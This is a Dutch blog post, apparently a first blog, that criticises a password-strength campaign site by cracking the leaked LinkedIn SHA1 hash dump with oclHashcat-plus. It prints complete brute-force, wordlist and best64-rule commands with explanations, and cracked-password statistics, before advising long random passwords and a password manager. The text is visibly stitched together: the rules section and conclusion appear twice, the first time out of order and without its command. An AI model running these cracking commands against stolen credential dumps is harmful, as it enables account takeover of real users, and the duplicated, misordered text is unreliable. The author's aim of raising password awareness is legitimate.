Oke. Cool. Maar wat nu als er op mijn woordenlijst "welkom" staat, maar het te kraken wachtwoord is "Welkom01"?
Vrees niet! Ook daar is aan gedacht. oclHashcat heeft ook een feature genaamd "rules". Dit zijn bestandjes met regels welke worden toegepast op de woordenlijst om de bestanden te veranderen. Zo wordt "welkom" dus ook "Welkom" "WELKOM" "WeLkOm" en "Welkom01". Added bonus, veel regels zitten standaard bij oclHashcat!
Dus, nog maar een commandotje er tegenaan gooien:
De oplettende kijker van net heeft ook nu weer gezien dat er wéér een extra optie wordt meegegeven, namelijk " -r /tools/oclHashcat-plus-0.09/rules/best64.rule". Dit is één van de (vele) rule bestanden standaard meegeleverd met oclHashcat.
And the final score is: ..
7497! Dat is al heel wat meer Bert! Ja Ernie, maar heb je ook weer statjes? Jahoor, Bert:
code:
Maar, wat is je punt dan precies?
Nou, ja, mijn punt is dus dat het een leuke campagne is, maar niet heel erg waarheidsgetrouw, om het politiek correct af te drukken. Als "eindgebruiker" zou ik na de site te hebben bekeken denken dat mijn wachtwoord "Welkom123!@#" onwijs veilig is, terwijl niets minder waar is. Een gevalletje "False sense of security", om er maar eens wat buzz-words tegenaan te ketsen.
Begrijp me niet verkeerd, ik ben allang blij dat er überhaupt aandacht aan besteed wordt aan dit soort dingen, maar het lijkt erop dat de mensen achter deze site puur en alleen uit gaan van een scenario waarbij woordenlijsten niet bestaan, en alle websites de databases netjes hashen en salten. Het tegendeel is helaas al te vaak bewezen de afgelopen tijd.
Dus..
Dus zorg boven alles gewoon voor een *lang* wachtwoord. En dan bedoel ik, 15, 20 tekens of meer. Zorg ook vooral dat het wachtwoord niet één enkel woord is, met wat tekens en cijfers er omheen geplakt, maar mix het wat door elkaar. Of, pak gewoon iets als keepass, en gebruik overal een gegenereerd, lang, random wachtwoord. Al moet je dan natuurlijk niet "Letmein" gebruiken als keepass wachtwoord
.
ps. ik haat mensen die beginnen met de tekst: "Dit is mijn eerste blog, dus go easy on me", vandaar dat ik het hier neer zet. Dit is mijn eerste blog, dus go easy on me
Geprikkeld en vol anticipatie volgde ik het commando op, en surfte naar http://www.digibewust.nl/. Ik klik op de grote groene knop "Test nu je wachtwoord", en terwijl ik denk "Je zal toch niet echt je wachtwoord..", zit ik op een website waar "Mooiboy, peter, en tijgertje" me streng aankijken. Ook staat er een tekstje waarin mij wordt medegedeeld dat ik moet zorgen voor een "sterk wachtwoord", want dat is "niet te raden en moeilijk te kraken". Verder staan er nog wat hippe schuifbalkjes en klikvakjes om aan te geven waar jouw wachtwoord uit bestaat, en onderaan komt het keiharde doch rechtvaardige oordeel over de veiligheid van jouw wachtwoord. Simpel toch? Om de één of andere reden kreeg ik opeens de onweerstaanbare drang om Ubuntu weer eens een slinger te geven, gewoon, om te kijken of het klopt. Dus, ik download de gelekte database van LinkedIn, en ga aan de slag.
De tools
- i7 3770
- 8GB Ram
- 2x AMD HD5850 in Crossfire
- oclHashcat-plus
Beter bekend bij de mensen thuis als "brute force". Gewoon elke positie karaktjertje voor karaktertje wijzigen, tot er iets nuttigs uit komt. Voor de mensen die nu iets hebben van "OMGWTFBBQ, welk commando dan?", et voilà:
/tools/oclHashcat-plus-0.09/oclHashcat-plus64.bin -m 100 -n 160 -a 3 --gpu-temp-retain=80 --gpu-temp-abort=100 ./leakedIn.txt -o ./leakedIn.bf ?a?a?a?a?a?a?a?a?a?a?a
- /tools/oclHashcat-plus-0.09/oclHashcat-plus64.bin - Het programma zelf
- -m 100 - Het type hash dat gekraakt moet worden. 100 staat voor "SHA1".
- -n 160 - Moar pwr captain! De workload voor de GPU's.
- -a 3 - Attack type, 3 staat voor "Brute Force"
- --gpu-temp-retain=80 --gpu-temp-abort=100 - Om te zorgen dat de arme 5850's geen *poef* doen.
- ./leakedIn.txt - Input file met de hashes
- -o leakedIn.bf - De resultaten van de aanval
- ?a?a?a?a?a?a?a?a?a?a?a - Een brute force aanval van 11 karakters ("?a" staat voor 1 positie), met op elke positie uppercase, lowercase, number en special characters. Dit is uiteraard ook te tweaken. Bijvoorbeeld ?l voor alleen lowercase, ?u voor uppercase en zo verder.

Maar, terug naar het doel van deze hele onderneming, wat zeggen onze nieuwe vrienden hiervan? Nou, dit:

Vreemd.. Volgens die uitkomt zou ik er in m'n eentje een aantal millennia over doen om een wachtwoord te achterhalen, terwijl ik na 15 minuten al op een high-score van 44 zit. Oké, granted, dat hangt enorm af van het gebruikte versleutelingsalgoritme, en het al dan niet gebruiken van salt, en waarschijnlijk gaan de vriendjes ook uit van de tijd die nodig is om *alle* combinaties te achterhalen. Desalnietteminplusgedeelddoorkeeretc, vind ik dat een nogal gedurfde claim om te maken.
Nou, wat zeur je dan, 44 uit een lijst van een paar miljoen is onwijs weinig
Ah, ja. Maar we zijn nog niet klaar! We hebben ook nog de woordenlijsten. Dus ik heb via "bedrijfdeliefdemettimkuik.org" een paar woordenlijsten gedownload, en gebruikt met het volgende commando:
/tools/oclHashcat-plus-0.09/oclHashcat-plus64.bin -m 100 -n 160 -a 0 --gpu-temp-retain=90 --gpu-temp-abort=100 ./leakedIn.txt /tools/lists/wordlist.txt -o ./leakedIn.wordlist.txt
De slimme kijker merkt op dat er hier een paar dingen anders zijn dan het vorige commando:
- -a 3 is vervangen door -a 0, om de aanvalsmethode op "Straight" (Lees: woordenlijst) te zetten.
- /tools/lists/wordlist.tx is toegevoegd om het programma te vertellen welk lijstje hij mag gebruiken.
1052 entries! Dat is al heel wat meer dan 44. Nu zal ik de kostbare tweakblog ruimte niet verspillen met de hele lijst, maar wat stats zijn altijd wel grappig. Gemaakt met het o zo handige programma pipal:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| Password length (length ordered) 6 = 2 (0.19%) 7 = 54 (5.13%) 8 = 142 (13.5%) 9 = 236 (22.43%) 10 = 244 (23.19%) 11 = 170 (16.16%) 12 = 112 (10.65%) 13 = 45 (4.28%) 14 = 32 (3.04%) 15 = 15 (1.43%) One to six characters = 2 (0.19%) One to eight characters = 198 (18.82%) More than eight characters = 854 (81.18%) Character sets loweralpha: 627 (59.6%) mixedalpha: 266 (25.29%) loweralphaspecial: 8 (0.76%) mixedalphaspecial: 3 (0.29%) |
Oke. Cool. Maar wat nu als er op mijn woordenlijst "welkom" staat, maar het te kraken wachtwoord is "Welkom01"?
Vrees niet! Ook daar is aan gedacht. oclHashcat heeft ook een feature genaamd "rules". Dit zijn bestandjes met regels welke worden toegepast op de woordenlijst om de bestanden te veranderen. Zo wordt "welkom" dus ook "Welkom" "WELKOM" "WeLkOm" en "Welkom01". Added bonus, veel regels zitten standaard bij oclHashcat!
Dus, nog maar een commandotje er tegenaan gooien:
/tools/oclHashcat-plus-0.09/oclHashcat-plus64.bin -m 100 -n 160 -a 0 --gpu-temp-retain=90 --gpu-temp-abort=100 ./leakedIn.txt /tools/lists/wordlist.txt -o ./leakedIn.wordlist.best64.txt -r /tools/oclHashcat-plus-0.09/rules/best64.rule
De oplettende kijker van net heeft ook nu weer gezien dat er wéér een extra optie wordt meegegeven, namelijk " -r /tools/oclHashcat-plus-0.09/rules/best64.rule". Dit is één van de (vele) rule bestanden standaard meegeleverd met oclHashcat.
And the final score is: ..
7497! Dat is al heel wat meer Bert! Ja Ernie, maar heb je ook weer statjes? Jahoor, Bert:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| 6 = 271 (3.61%) 7 = 503 (6.71%) 8 = 2522 (33.64%) 9 = 1468 (19.58%) 10 = 1426 (19.02%) 11 = 609 (8.12%) 12 = 432 (5.76%) 13 = 132 (1.76%) 14 = 101 (1.35%) 15 = 33 (0.44%) One to six characters = 271 (3.61%) One to eight characters = 3296 (43.96%) More than eight characters = 4201 (56.04%) loweralpha: 3174 (42.34%) mixedalphanum: 1713 (22.85%) loweralphanum: 1287 (17.17%) mixedalpha: 772 (10.3%) upperalpha: 160 (2.13%) loweralphaspecial: 25 (0.33%) loweralphaspecialnum: 22 (0.29%) mixedalphaspecialnum: 22 (0.29%) mixedalphaspecial: 11 (0.15%) specialnum: 1 (0.01%) |
Maar, wat is je punt dan precies?
Nou, ja, mijn punt is dus dat het een leuke campagne is, maar niet heel erg waarheidsgetrouw, om het politiek correct af te drukken. Als "eindgebruiker" zou ik na de site te hebben bekeken denken dat mijn wachtwoord "Welkom123!@#" onwijs veilig is, terwijl niets minder waar is. Een gevalletje "False sense of security", om er maar eens wat buzz-words tegenaan te ketsen.
Begrijp me niet verkeerd, ik ben allang blij dat er überhaupt aandacht aan besteed wordt aan dit soort dingen, maar het lijkt erop dat de mensen achter deze site puur en alleen uit gaan van een scenario waarbij woordenlijsten niet bestaan, en alle websites de databases netjes hashen en salten. Het tegendeel is helaas al te vaak bewezen de afgelopen tijd.
Dus..
Dus zorg boven alles gewoon voor een *lang* wachtwoord. En dan bedoel ik, 15, 20 tekens of meer. Zorg ook vooral dat het wachtwoord niet één enkel woord is, met wat tekens en cijfers er omheen geplakt, maar mix het wat door elkaar. Of, pak gewoon iets als keepass, en gebruik overal een gegenereerd, lang, random wachtwoord. Al moet je dan natuurlijk niet "Letmein" gebruiken als keepass wachtwoord
ps. ik haat mensen die beginnen met de tekst: "Dit is mijn eerste blog, dus go easy on me", vandaar dat ik het hier neer zet. Dit is mijn eerste blog, dus go easy on me